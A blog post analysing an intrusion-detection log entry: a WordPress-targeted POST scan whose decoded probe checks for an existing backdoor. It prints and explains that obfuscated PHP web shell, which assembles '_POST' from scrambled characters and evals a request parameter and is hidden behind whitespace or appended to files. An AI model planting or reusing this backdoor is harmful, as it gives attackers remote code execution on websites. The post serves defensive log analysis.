Hack of the Week: Episode 1: Reading Logs Can Be Fun 1

Reviewing your logs is an important part of maintaining good system security. One log I watch on a constant basis is my IDS report (mainly because it constantly emails me). This is part one in (hopefully) an ongoing series of looking into what the script kiddies are up to, and how your server might be vulnerable.

Although the hack attempts often occur in large batches each day. I am selecting one particular vector for examination.

Date: 2017-01-12T07:31:15+00:00
Source IP: 78.109.32,154
Destination URIs:
/model.php
/wp-content
/header.php
… (over 100 additional)
Method: POST.q726b60=echo+%5C%27%25%25%25%5C%27+.+%5C%27q726b60%5C%27+.+%5C%27%25%25%25%5C%27%3B,

Source IP

A quick look at WhoIsXmlApi reveals the attacking server to be an engineering firm in Irkutsk, Russia. Despite all the media hype about Russian hackers, this isn’t going to tell us all that much. It could easily be a compromised server that someone else is using. Concurrent with this scan was an identical one originating from a French IP: 37.187.88,203. France would be much easier to invade.

Destination URIs

The particular endpoints that were scanned show a preference for WordPress servers. Most of the end-points were to wp-content and wp-admin. Some of the end-points do not normally exist on a clean WP install, we can reasonable conclude that the attacker is looking for a dropped file from a different exploit, perhaps through a bad WP plugin.

Method

All of the 100+ attempts shared a preference for POST over GET or other methods. From this we can assume that the target code is looking specifically for POST params. This has the benefit of not revealing what your are attempting to do in the normal web server logs. All you would see is semi-normal lines looking at reasonable WP pages.

Params

“q726b60” was just one of many variables checked during the scan. Others included “qa04af1”, “q872b97”, and “q358cfa”. Googling these reveals some tasty morsels.

Payload

Long are the days when an attacker plainly said what they were up to. As is the case with many exploits, the payload for this attack was url encoded to make it easier to pass through the web. When we decode the information we see:

echo \'%%%\' . \'q726b60\' . \'%%%\';

From here is just looks like the scan is trying to see if the exploit code exists on our box. If it does, the page will likely just display %%%q726b60%%%.

Code

As I mentioned earlier, Google is often our friend, especially with older exploits. Google cache can be even better. Some have been around long enough on misconfigured servers that you can get a look at the source. The following four step pattern will be similar in many hacks.

0:
1: $rcd22 = "_sretoup";
2: $fyl6 = $rcd22[1]. $rcd22[4].$rcd22[2].$rcd22[4].$rcd22[5]. $rcd22[6].$rcd22[7]. $rcd22[7]. $rcd22[3].$rcd22[2];
3: $mspx01 = $fyl6($rcd22[0].$rcd22[7]. $rcd22[5].$rcd22[1]. $rcd22[4] );
4: if ( isset (${ $mspx01}[ 'q726b60'])){eval( ${$mspx01}['q726b60']) ; }

0: Line 0? In a way, yes. This particular file starts with a long series of spaces in the attempt to push the code off your right edge of your screen. When you open it with a text editor it will look like a blank file. In some cases this code will be appended to a file so it just looks like you have one extra line somewhere. Shneaky.

1: First we encounter a random variable and string. I say random because in other examples for q726b60 I found $qV="stop_"; Some sort of obfuscator is being used to make it a tad more difficult to read.

2: We assemble a new string based upon the contents of the first one by selecting particular characters. In this case we pull the letters s t r t o u p p e r and place them into $fyl6.

3: Because PHP can evaluate strings as functions, the next step is to run strtoupper on another assembled string. In this case “_post“. Now we see our clear preference for POST over GET. If a regular page request is sent, the server will return a blank page. POST is necessary here. At this point we have $mspx01 = strtoupper(_post); which becomes $mspx01="_POST";

4: In our last stage we check to see if the the _POST has been set and contains our mystery parameter q726b60. If it has, we tell the server to run whatever code we set to it. In this case it was a simple check to see if the script existed.

Other versions of the code do similar things using different string assembly methods.

Analysis

This particular scan was only an attempt to see if my server was already vulnerable to an existing exploit. If it was, a fingerprint would have been displayed and recorded by the attacker so they could come back later and begin specific exploitation. Params between versions change ($rcd22,$ieid5, $ort56, ...) as well as the assembly string (_sretoup, s_top, tp_os, ...) telling us that the exploit code was most likely produced by a randomized obfuscator.

Conclusion

Unfortunately none of this tells us what was the original exploit that tried to place the bad code on the server. There is a good chance that it was included in a malicious WP theme as everyone like cool, pretty WP themes. This is further supported by the fact that many of the bulk scanned routes are within WP specific paths. Given the above SO query, this has been around since at least 2014.

Fun fact: A large number of vulnerable sites have had their bad files renamed to *.suspected. Perhaps someone has used the exploit itself to rename the bad files, effectively neutering them. If that is the case, I salute you sir.

One comment on “Hack of the Week: Episode 1: Reading Logs Can Be Fun

  1. Pingback: Hack of the Week: Episode 2: Get a Good Host ← @awnage

Leave a Reply